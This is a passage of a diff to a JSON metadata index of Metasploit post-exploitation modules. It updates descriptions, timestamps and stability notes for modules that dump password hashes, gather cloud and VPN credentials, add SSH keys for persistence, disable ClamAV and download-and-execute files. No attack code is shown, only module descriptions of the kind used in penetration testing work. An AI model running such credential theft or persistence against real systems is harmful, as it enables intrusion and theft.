"meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_system": { "name": "Linux Gather System and User Information", "fullname": "post/linux/gather/enum_system", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265570,16 +266409,14 @@ "Roberto Espreto " ], "description": "This module gathers system information. We collect\n installed packages, installed services, mount information,\n user list, user bash history and cron jobs", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/enum_system.rb", "is_install_path": true, "ref_name": "linux/gather/enum_system", @@ -265587,22 +266424,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/enum_users_history": { "name": "Linux Gather User History", "fullname": "post/linux/gather/enum_users_history", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265610,16 +266448,14 @@ "ohdae " ], "description": "This module gathers the following user-specific information:\n shell history, MySQL history, PostgreSQL history, MongoDB history,\n Vim history, lastlog, and sudoers.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/enum_users_history.rb", "is_install_path": true, "ref_name": "linux/gather/enum_users_history", @@ -265627,22 +266463,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/f5_loot_mcp": { "name": "F5 Big-IP Gather Information from MCP Datastore", "fullname": "post/linux/gather/f5_loot_mcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-11-16", "type": "post", @@ -265661,7 +266498,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-29 17:52:23 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/linux/gather/f5_loot_mcp.rb", "is_install_path": true, "ref_name": "linux/gather/f5_loot_mcp", @@ -265670,30 +266507,22 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "Reliability": [ - + "crash-safe" ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/gnome_commander_creds": { "name": "Linux Gather Gnome-Commander Creds", "fullname": "post/linux/gather/gnome_commander_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265701,16 +266530,14 @@ "David Bloom" ], "description": "This module collects the clear text passwords stored by\n Gnome-commander, a GUI file explorer for GNOME. Typically, these\n passwords are stored in the user's home directory, at\n ~/.gnome-commander/connections.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/gnome_commander_creds.rb", "is_install_path": true, "ref_name": "linux/gather/gnome_commander_creds", @@ -265718,22 +266545,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/gnome_keyring_dump": { "name": "Gnome-Keyring Dump", "fullname": "post/linux/gather/gnome_keyring_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265741,16 +266569,14 @@ "Spencer McIntyre" ], "description": "Use libgnome-keyring to extract network passwords for the current user.\n This module does not require root privileges to run.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/gnome_keyring_dump.rb", "is_install_path": true, "ref_name": "linux/gather/gnome_keyring_dump", @@ -265758,21 +266584,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/haserl_read": { "name": "Haserl Arbitrary File Reader", "fullname": "post/linux/gather/haserl_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265806,25 +266633,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/hashdump": { "name": "Linux Gather Dump Password Hashes for Linux Systems", "fullname": "post/linux/gather/hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265832,16 +266653,14 @@ "Carlos Perez " ], "description": "Post Module to dump the password hashes for all users on a Linux System", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-12 13:09:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/hashdump.rb", "is_install_path": true, "ref_name": "linux/gather/hashdump", @@ -265849,22 +266668,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/manageengine_password_manager_creds": { "name": "Linux Gather ManageEngine Password Manager Pro Password Extractor", "fullname": "post/linux/gather/manageengine_password_manager_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265896,28 +266716,20 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/mimipenguin": { "name": "MimiPenguin", "fullname": "post/linux/gather/mimipenguin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-05-23", "type": "post", @@ -265939,7 +266751,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-24 19:53:57 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/linux/gather/mimipenguin.rb", "is_install_path": true, "ref_name": "linux/gather/mimipenguin", @@ -265948,29 +266760,21 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "Reliability": [ - + "crash-safe" ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/mount_cifs_creds": { "name": "Linux Gather Saved mount.cifs/mount.smbfs Credentials", "fullname": "post/linux/gather/mount_cifs_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -265978,16 +266782,14 @@ "Jon Hart " ], "description": "Post Module to obtain credentials saved for mount.cifs/mount.smbfs in\n /etc/fstab on a Linux system.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/mount_cifs_creds.rb", "is_install_path": true, "ref_name": "linux/gather/mount_cifs_creds", @@ -265995,22 +266797,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/openvpn_credentials": { "name": "OpenVPN Gather Credentials", "fullname": "post/linux/gather/openvpn_credentials", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266028,7 +266831,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-02 23:29:48 +0000", "path": "/modules/post/linux/gather/openvpn_credentials.rb", "is_install_path": true, "ref_name": "linux/gather/openvpn_credentials", @@ -266036,22 +266839,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/phpmyadmin_credsteal": { "name": "Phpmyadmin credentials stealer", "fullname": "post/linux/gather/phpmyadmin_credsteal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266060,16 +266864,14 @@ "Dhiraj Mishra " ], "description": "This module gathers Phpmyadmin creds from target linux machine.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/phpmyadmin_credsteal.rb", "is_install_path": true, "ref_name": "linux/gather/phpmyadmin_credsteal", @@ -266077,21 +266879,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/pptpd_chap_secrets": { "name": "Linux Gather PPTP VPN chap-secrets Credentials", "fullname": "post/linux/gather/pptpd_chap_secrets", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266099,16 +266902,14 @@ "sinn3r " ], "description": "This module collects PPTP VPN information such as client, server, password,\n and IP from your target server's chap-secrets file.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/pptpd_chap_secrets.rb", "is_install_path": true, "ref_name": "linux/gather/pptpd_chap_secrets", @@ -266116,22 +266917,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/puppet": { "name": "Puppet Config Gather", "fullname": "post/linux/gather/puppet", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266148,7 +266950,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-29 19:18:54 +0000", + "mod_time": "2025-05-02 23:29:48 +0000", "path": "/modules/post/linux/gather/puppet.rb", "is_install_path": true, "ref_name": "linux/gather/puppet", @@ -266159,28 +266961,20 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/rancher_audit_log_leak": { "name": "Rancher Audit Log Sensitive Information Leak", "fullname": "post/linux/gather/rancher_audit_log_leak", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-02-08", "type": "post", @@ -266199,7 +266993,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-04-10 11:31:55 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/linux/gather/rancher_audit_log_leak.rb", "is_install_path": true, "ref_name": "linux/gather/rancher_audit_log_leak", @@ -266208,30 +267002,22 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "Reliability": [ - + "crash-safe" ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/tor_hiddenservices": { "name": "Linux Gather TOR Hidden Services", "fullname": "post/linux/gather/tor_hiddenservices", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266239,16 +267025,14 @@ "Harvey Phillips " ], "description": "This module collects the hostnames name and private keys of\n any TOR Hidden Services running on the target machine. It\n will search for torrc and if found, will parse it for the\n directories of Hidden Services. However, root permissions\n are required to read them as they are owned by the user that\n TOR runs as, usually a separate account.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-27 12:23:56 +0000", "path": "/modules/post/linux/gather/tor_hiddenservices.rb", "is_install_path": true, "ref_name": "linux/gather/tor_hiddenservices", @@ -266256,22 +267040,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/gather/vcenter_secrets_dump": { "name": "VMware vCenter Secrets Dump", "fullname": "post/linux/gather/vcenter_secrets_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-04-15", "type": "post", @@ -266304,9 +267089,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -266326,9 +267109,7 @@ "post_linux/manage/adduser": { "name": "Add a new user to the system", "fullname": "post/linux/manage/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266336,9 +267117,7 @@ "Nick Cottrell " ], "description": "This command adds a new user to the system", - "references": [ - - ], + "references": [], "platform": "AIX,BSD,Linux,Solaris,Unix", "arch": "", "rport": null, @@ -266356,9 +267135,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "config-changes" ] @@ -266368,33 +267145,27 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/manage/disable_clamav": { "name": "Disable ClamAV", "fullname": "post/linux/manage/disable_clamav", - "aliases": [ - - ], - "rank": 600, + "aliases": [], + "rank": 300, "disclosure_date": null, "type": "post", "author": [ "DLL_Cool_J" ], "description": "This module will write to the ClamAV Unix socket to shutoff ClamAV.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-23 20:57:19 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/linux/manage/disable_clamav.rb", "is_install_path": true, "ref_name": "linux/manage/disable_clamav", @@ -266405,9 +267176,7 @@ "Stability": [ "service-resource-loss" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] @@ -266417,16 +267186,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/manage/dns_spoofing": { "name": "Native DNS Spoofing module", "fullname": "post/linux/manage/dns_spoofing", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266434,9 +267199,7 @@ "Alberto Rafael Rodriguez Iglesias " ], "description": "This module will be applied on a session connected to a shell. It will redirect DNS Request to remote DNS server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266450,40 +267213,33 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/manage/download_exec": { "name": "Linux Manage Download and Execute", "fullname": "post/linux/manage/download_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Joshua D. Abraham " ], - "description": "This module downloads and runs a file with bash. It first tries to uses curl as\n its HTTP client and then wget if it's not found. Bash found in the PATH is used\n to execute the file.", - "references": [ - - ], + "description": "This module downloads and runs a file with bash. It first tries to use curl as\n its HTTP client and then wget if it's not found. Bash found in the PATH is used\n to execute the file.", + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-02 23:29:48 +0000", "path": "/modules/post/linux/manage/download_exec.rb", "is_install_path": true, "ref_name": "linux/manage/download_exec", @@ -266491,22 +267247,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [ + "artifacts-on-disk" + ] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/manage/geutebruck_post_exp": { "name": "Geutebruck Camera Deface", "fullname": "post/linux/manage/geutebruck_post_exp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266515,9 +267274,7 @@ "Sébastien Charbonnier" ], "description": "This module will take an existing session on a vulnerable Geutebruck Camera\n and will allow the user to either freeze the camera and display the last\n image from the video stream, display an image on the camera, or restore\n the camera back to displaying the current feed/stream.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266531,8 +267288,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], @@ -266555,9 +267311,7 @@ "post_linux/manage/iptables_removal": { "name": "IPTABLES rules removal", "fullname": "post/linux/manage/iptables_removal", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266565,9 +267319,7 @@ "Alberto Rafael Rodriguez Iglesias " ], "description": "This module will be applied on a session connected to a shell. It will remove all IPTABLES rules.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, @@ -266581,23 +267333,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/manage/pseudo_shell": { "name": "Pseudo-Shell Post-Exploitation Module", "fullname": "post/linux/manage/pseudo_shell", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266605,39 +267352,32 @@ "Alberto Rafael Rodriguez Iglesias " ], "description": "This module will run a Pseudo-Shell.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-02 13:15:12 +0000", + "mod_time": "2025-05-02 23:29:48 +0000", "path": "/modules/post/linux/manage/pseudo_shell.rb", "is_install_path": true, "ref_name": "linux/manage/pseudo_shell", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_linux/manage/sshkey_persistence": { "name": "SSH Key Persistence", "fullname": "post/linux/manage/sshkey_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": null, "type": "post", @@ -266645,16 +267385,14 @@ "h00die " ], "description": "This module will add an SSH key to a specified user (or all), to allow\n remote login via SSH at any time.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-02 23:29:48 +0000", "path": "/modules/post/linux/manage/sshkey_persistence.rb", "is_install_path": true, "ref_name": "linux/manage/sshkey_persistence", @@ -266662,22 +267400,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [ + "artifacts-on-disk" + ] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/escalate/aws_create_iam_user": { "name": "Create an AWS IAM User", "fullname": "post/multi/escalate/aws_create_iam_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266695,7 +267436,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/escalate/aws_create_iam_user.rb", "is_install_path": true, "ref_name": "multi/escalate/aws_create_iam_user", @@ -266703,22 +267444,25 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/escalate/cups_root_file_read": { "name": "CUPS 1.6.1 Root File Read", "fullname": "post/multi/escalate/cups_root_file_read", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-20", "type": "post", @@ -266726,11 +267470,11 @@ "Jann Horn", "joev " ], - "description": "This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.\n CUPS allows members of the lpadmin group to make changes to the cupsd.conf\n configuration, which can specify an Error Log path. When the user visits the\n Error Log page in the web interface, the cupsd daemon (running with setuid root)\n reads the Error Log path and echoes it as plaintext.\n\n This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4\n as long as the session is in the lpadmin group.\n\n Warning: if the user has set up a custom path to the CUPS error log,\n this module might fail to reset that path correctly. You can specify\n a custom error log path with the ERROR_LOG datastore option.", + "description": "This module exploits a vulnerability in CUPS < 1.6.2, an open source printing system.\n CUPS allows members of the lpadmin group to make changes to the cupsd.conf\n configuration, which can specify an Error Log path. When the user visits the\n Error Log page in the web interface, the cupsd daemon (running with setuid root)\n reads the Error Log path and echoes it as plaintext.\n\n This module is known to work on Mac OS X < 10.8.4 and Ubuntu Desktop <= 12.0.4\n as long as the session is in the lpadmin group.\n\n Warning: if the user has set up a custom path to the CUPS error log,\n this module might fail to reset that path correctly. You can specify\n a custom error log path with the ERROR_LOG datastore option.", "references": [ "CVE-2012-5519", "OSVDB-87635", - "URL-http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791" + "URL-https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692791" ], "platform": "Linux,OSX", "arch": "", @@ -266738,7 +267482,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/escalate/cups_root_file_read.rb", "is_install_path": true, "ref_name": "multi/escalate/cups_root_file_read", @@ -266746,28 +267490,31 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk", + "config-changes" + ], + "Reliability": [] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/escalate/metasploit_pcaplog": { "name": "Multi Escalate Metasploit pcap_log Local Privilege Escalation", "fullname": "post/multi/escalate/metasploit_pcaplog", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2012-07-16", "type": "post", "author": [ "0a29406d9794e4f9b30b3c5d6702c708" ], - "description": "Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings,\n creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these\n filenames to /etc/passwd, then sending a packet with a privileged user entry contained within.\n This, and all the other packets, are appended to /etc/passwd.\n\n Successful exploitation results in the creation of a new superuser account.\n\n This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap\n files and truncate /etc/passwd. Note that if this module fails, you can potentially induce\n a permanent DoS on the target by corrupting the /etc/passwd file.", + "description": "Metasploit < 4.4 contains a vulnerable 'pcap_log' plugin which, when used with the default settings,\n creates pcap files in /tmp with predictable file names. This exploits this by hard-linking these\n filenames to /etc/passwd, then sending a packet with a privileged user entry contained within.\n This, and all the other packets, are appended to /etc/passwd.\n\n Successful exploitation results in the creation of a new superuser account.\n\n This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap\n files and truncate /etc/passwd. Note that if this module fails, you can potentially induce\n a permanent DoS on the target by corrupting the /etc/passwd file.", "references": [ "BID-54472", "URL-http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html", @@ -266779,7 +267526,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-01 02:32:23 +0000", "path": "/modules/post/multi/escalate/metasploit_pcaplog.rb", "is_install_path": true, "ref_name": "multi/escalate/metasploit_pcaplog", @@ -266787,22 +267534,27 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "service-resource-loss" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk", + "config-changes" + ], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/apple_ios_backup": { "name": "Windows Gather Apple iOS MobileSync Backup File Collection", "fullname": "post/multi/gather/apple_ios_backup", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266811,16 +267563,14 @@ "bannedit " ], "description": "This module will collect sensitive files from any on-disk iOS device backups", - "references": [ - - ], + "references": [], "platform": "OSX,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/apple_ios_backup.rb", "is_install_path": true, "ref_name": "multi/gather/apple_ios_backup", @@ -266828,22 +267578,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/aws_ec2_instance_metadata": { "name": "Gather AWS EC2 Instance Metadata", "fullname": "post/multi/gather/aws_ec2_instance_metadata", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266860,7 +267611,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/aws_ec2_instance_metadata.rb", "is_install_path": true, "ref_name": "multi/gather/aws_ec2_instance_metadata", @@ -266868,22 +267619,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/aws_keys": { "name": "UNIX Gather AWS Keys", "fullname": "post/multi/gather/aws_keys", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266901,7 +267653,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-06-01 15:49:46 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/aws_keys.rb", "is_install_path": true, "ref_name": "multi/gather/aws_keys", @@ -266909,22 +267661,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/azure_cli_creds": { "name": "Azure CLI Credentials Gatherer", "fullname": "post/multi/gather/azure_cli_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266933,9 +267686,7 @@ "h00die" ], "description": "This module will collect the Azure CLI 2.0+ (az cli) settings files\n for all users on a given target. These configuration files contain\n JWT tokens used to authenticate users and other subscription information.\n Once tokens are stolen from one host, they can be used to impersonate\n the user from a different host.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, @@ -266953,27 +267704,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/check_malware": { "name": "Multi Gather Malware Verifier", "fullname": "post/multi/gather/check_malware", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -266981,16 +267724,14 @@ "sinn3r " ], "description": "This module will check a file for malware on VirusTotal based on the checksum.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-05-21 10:45:08 +0000", "path": "/modules/post/multi/gather/check_malware.rb", "is_install_path": true, "ref_name": "multi/gather/check_malware", @@ -266998,22 +267739,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + 